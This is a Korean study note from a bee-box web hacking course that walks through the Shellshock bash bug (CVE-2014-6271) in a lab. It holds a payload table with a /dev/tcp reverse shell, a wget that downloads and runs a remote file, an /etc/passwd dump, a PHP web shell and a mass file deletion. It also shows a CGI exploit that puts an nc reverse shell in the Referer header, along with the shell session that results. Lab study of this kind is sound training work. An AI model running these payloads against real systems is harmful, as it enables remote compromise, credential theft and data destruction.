비박스를 활용한 웹 모의해킹 완벽 실습 - 셀쇼크 취약점(CVE-2014-6271)

출처

인프런, 비박스를 활용한 웹 모의해킹 완벽 실습 25강 https://www.inflearn.com/course/%EB%B9%84%EB%B0%95%EC%8A%A4-%EB%AA%A8%EC%9D%98%ED%95%B4%ED%82%B9-%EC%8B%A4%EC%8A%B5/


ShellShock 취약점 (CVE-2014-6271)

image

  • 예전 bash를 쓰는 운영체제는 모두 발생하는 취약점

ShellShock 취약점 분석

  • 환경 변수와 함께 선언되는 함수 선언과 명령어 삽입
  • 함수가 아닌 일반 환경 변수가 () { <함수 body> }; <공격하려는 코드>일 때 child로 생성된 Bash shell에서 함수로 인식되는 버그
  • 참고 자료

image

패치 적용된 칼리리눅스와 적용 안 된 Bee-Box 비교

칼리리눅스

root@ming:~# env var='() { :;}; echo 1234' bash -c "echo test"
test

Bee-Box

bee@bee-box:~$ env var='() { :;}; echo 1234' bash -c "echo test"
1234
test

ShellShock 취약점 Exploit 페이로드

  • () { :;}; 삽입 명령어
공격 삽입 명령어
리버스 셸 연결 /bin/bash -i > /dev/tcp/localhost/8081 0>&1
악성파일 다운 wget -O /tmp/syslogd http://localhost/prog; chmod 777 /tmp/syslogd; /tmp/syslogd;
시스템 상태 체크 /bin/ping -c localhost
계정 탈취 /bin/cat /etc/passwd > dumped_file
웹 셸 생성 echo \"<? \\$cmd = \\$_REQUEST[\\\"cmd\\\"]; if(\\$cmd != \\\"\\\") print Shell_Exec(\\$cmd;?>\" > ../../p.php& o
시스템 재시작 /bin/bash -c \"reboot\"
PHP 소스 삭제 find / -name *.php | xargs rm -rf

Shellshock Vulnerability (CGI)

image

bee@bee-box:/usr/bin$ ls -l php5-cgi
-rw-r--r-- 1 root root 5482364 2008-02-27 21:50 php5-cgi
bee@bee-box:/usr/bin$ sudo chmod 755 php5-cgi
[sudo] password for bee: 
bee@bee-box:/usr/bin$ ls -l php5-cgi
-rwxr-xr-x 1 root root 5482364 2008-02-27 21:50 php5-cgi
  • 우선 Bee-Box에서 php5-cgi 파일에 실행 권한을 줌

1. BurpSuite 프록시 잡기

image

  • 한 번 forward 해주면 뒤에 referer가 달린 GET 요청이 또 나옴

2. 칼리리눅스 아이피 확인 및 8888 포트 열기

root@ming:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.190.155  netmask 255.255.255.0  broadcast 192.168.190.255
        inet6 fe80::20c:29ff:fe1d:546c  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:1d:54:6c  txqueuelen 1000  (Ethernet)
        RX packets 54529  bytes 38260116 (36.4 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 26738  bytes 4522044 (4.3 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 24137  bytes 7619271 (7.2 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 24137  bytes 7619271 (7.2 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@ming:~# nc -lvp 8888
listening on [any] 8888 ...

3. Repeater로 넘긴 후 Referer 수정

image

  • Referer: () { :;}; /bin/bash -c "nc 192.168.190.155 8888 -e /bin/bash"
  • 위 명령어에 들어가는 아이피는 칼리리눅스 아이피
  • 웹에서 Referer는 터미널에서의 환경 변수처럼 작동하여 ShellShock 취약점이 발생되는 것
  • nc 192.168.190.155 8888 -e /bin/bash"): 아이피 주소 192.168.190.155, 포트 8888에 접속한 후 /bin/bash를 실행하여라 –> -e: execute

4. Go 버튼 누르고 칼리리눅스 터미널 확인

root@ming:~# nc -lvp 8888
listening on [any] 8888 ...
192.168.190.143: inverse host lookup failed: Unknown host
connect to [192.168.190.155] from (UNKNOWN) [192.168.190.143] 60736
whoami
www-data
  • Referer말고 다른 부분에서도 ShellShock 코드를 삽입 가능하다고 함 –> 참고

Comments